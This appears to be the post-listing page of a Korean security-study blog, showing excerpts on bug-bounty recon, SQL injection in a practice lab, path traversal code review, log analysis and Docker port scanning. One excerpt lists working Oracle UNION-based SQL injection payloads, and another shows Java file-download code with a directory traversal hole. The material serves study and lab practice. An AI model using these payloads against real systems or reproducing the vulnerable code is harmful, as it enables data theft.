목록분류 전체보기 (119)
작은 메모장
정보 수집의 필요성해커들은 해킹을 하기 전 반드시 정보 수집 과정을 거친다.이는 취약점을 찾으려는 버그 헌터들에게도 필수적인 과정이다. 정보 수집이라는 건 해킹 대상에 대한 정보 수집 문자 그대로의 의미를 뜻한다.웹 서비스를 가정으로 이야기하면,사용하고 있는 웹 프레임워크, 사용 언어, 구동되는 웹 페이지, 서버 구성 같이 프론트, 백엔드 상관없이 관계된 모든 정보를 수집하는 것이다. 정보 수집의 이유정보 수집은 해커가 판단할 수 있는 범위를 늘려준다.같은 정보를 획득하더라도 가치 유무와 사용 위치 등을 더 정확하게 판단할 수 있기 때문이다. 또한 정보 획득만 가지고 사용할 수 있는 취약점을 판단할 수 있다.가령, 사용하고 있는 언어가 php라면, JSP, ASP등의 취약점은 테스트하지 않아도 된다.또,..
버그 바운티버그 헌팅, 혹은 버그 바운티은 Bug(취약점)을 찾고 Bounty(포상금)을 받는 프로그램이다.즉 취약점 현상금 제도라고 생각하면 된다. 버그 바운티는 대개 다음과 같은 과정을 거친다기업들이 자신들의 시스템들을 버그바운티 대상으로 올림올려진 시스템을 해커, 보안 전문가들이 해킹만약 해킹에 성공하여 취약점이 발견되면, 발견된 취약점을 가지고 보고서를 제출(단, 해당 취약점은 절대 개인적인 이익으로 사용하지 않음)제출된 보고서의 취약점을 바탕으로, 보안 패치 적용해당 과정을 보면 알겠지만, 버그 바운티의 목적은 단순히 해커들 돈주려고 하는 것이 아닌, 자신들의 시스템에 미처 발견하지 못한 치명적인(대개 공격으로 활용될 수 있는) 취약점들을 발견하는 것이다.다만 그 동기 부여를 위해, 현상금 제도..
~ Union ~=== JSP ===컬럼 갯수 확인Q: 삼성동%' order by 1--Q: 삼성동%' union select 'a', 'b', 'c', 'd', 'e' from dual --자료형 : 문자 문자 문자 문자 문자테이블 이름 추출Q: 삼성동%' union select table_name, null, null, null, null from user_tables --행 이름 추출Q: 삼성동%' union select column_name, null, null, null, null from all_tab_columns where table_name = 'SQL_UNION_ANSWER' --값 추출 Q: 삼성동%' union select ANSWER_COLUMN, null, null, null, ..
String fileName = request.getParameter ("P"); BufferedInputStream bis = null; BufferedOutputStream bos = null; FileInputStream fis = null;try { response.setHeader("Content-Disposition", "attachment;filename="+fileName+";");...fis = new FileInputStream ("C:/datas/"+fileName); bis = new BufferedInputStream(fis);bos = new BufferedOutputStream(response.getOutputStream());정/오탐 판별 1- 취약점: 디렉토리 탐색 취약점(..
실습 시작에 앞서, 해당 명령어를 입력한다. NetworkMiner를 설치하기 위함이다.사실 요즘에는 Wireshark가 상당히 유행이지만, 여기서만 제공하는 기능도 있어 이것만 사용하는 사람도 있다.sudo apt updatesudo apt install mono-develwget https://www.netresec.com/?download=NetworkMiner -O /tmp/NetworkMiner.zipsudo unzip /tmp/NetworkMiner.zip -d /opt/cd /opt/NetworkMiner*sudo chmod +x NetworkMiner.exesudo chmod -R go+w AssembledFiles/sudo chmod -R go+w Captures/ 제공하는 샘플 로그 파..
beebox의 IP를 확인한 후, 칼리 리눅스에서 nmap을 돌린다.타겟인 22번 포트, SSH가 열려있는 것을 확인할 수 있다. 그 후, 접속을 시도한다. 그러면 해당 경로에서 로그인을 시도한 흔적을 확인할 수 있다. 웹 로그 또한 이 로그 디렉토리 경로 아래에 쌓인다.칼리 리눅스에서 nikto로 공격을 날려본다. 그럼 이렇게 공격 기록이 남은 것을 확인할 수 있다. 좀 더 가독성을 보기 좋게 하기 위해, 띄어쓰기를 기준으로 원하는 정보만 뽑아본다. 또, 404 응답코드만 분류하여 보기도 해보자. 이 둘을 합치면 상당히 유용한 검색 결과가 나온다. 또 아래와 같이 다양한 명령어로 변형할 수 있다. 해당 파일은 샘플 로그를 제공받아 실험하였다.제공받은 윈도우 7을 실행한다. 제공받은 파일도 두개 파일 서..
제공받은 리눅스 도커 서버를 실행하여 취약점을 진단할 것이다. Nmap의 기본 기능으로 포트를 스캔해본다.열려있는 포트는 22, 2375, 8000의 3개 8000번 포트는 통상적으로 사용되는 포트는 아니다.때문에 8000번 포트로 직접 접속하면 웹 서비스가 동작하는 것을 확인할 수 있다. 더 많은 정보를 얻기 위해, -sC 옵션을 사용하여 더욱 자세하게 스캔해본다.결과를 분석을 해보자. 아까 확인한 8000번 포트의 아파치 정보를 확인할 수 있다.버전 정보부터, 해당 페이지가 어떤 익스텐션을 사용하여 동작되고 있는지 확인이 가능하다.해당 버전의 취약점을 이용하여 공격을 시도할 수 있다. 2375 포트에 대한 정보도 확인할 수 있다.해당 포트는 외부에서 도커 서비스를 접근할 때 진입하는 포트로, 이 포..
도커 컴포즈도커 컴포즈는 다중 컨테이너 애플리케이션을 관리할 수 있는 실행 도구.여러 개의 독립적인 컨테이너를 함께 묶어서 하나의 구성 요소로 만들어준다.도커 컴포즈를 사용하면 여러 개의 컨테이너를 간편하게 관리할 수 있다. 도커 컴포즈는 YAML(야믈) 파일에 애플리케이션을 정의한다.이 YAML 파일은 애플리케이션의 모든 구성 요소를 포함하고 있으며, 컨테이너, 네트워크, 볼륨, 환경 변수 등을 정의한다.이것을 통해 애플리케이션의 배포 및 관리를 자동화할 수 있다. 도커 컴포즈를 사용하면 컨테이너를 간단하게 관리할 수 있으며, 여러 개의 컨테이너를 함께 묶어서 하나의 구성 요소로 만들어준다. 애플리케이션을 보다 쉽게 관리할 수 있는 장점이 있다. 실습 새 도커 파일을 하나 만들어줄 것이다.아래 내..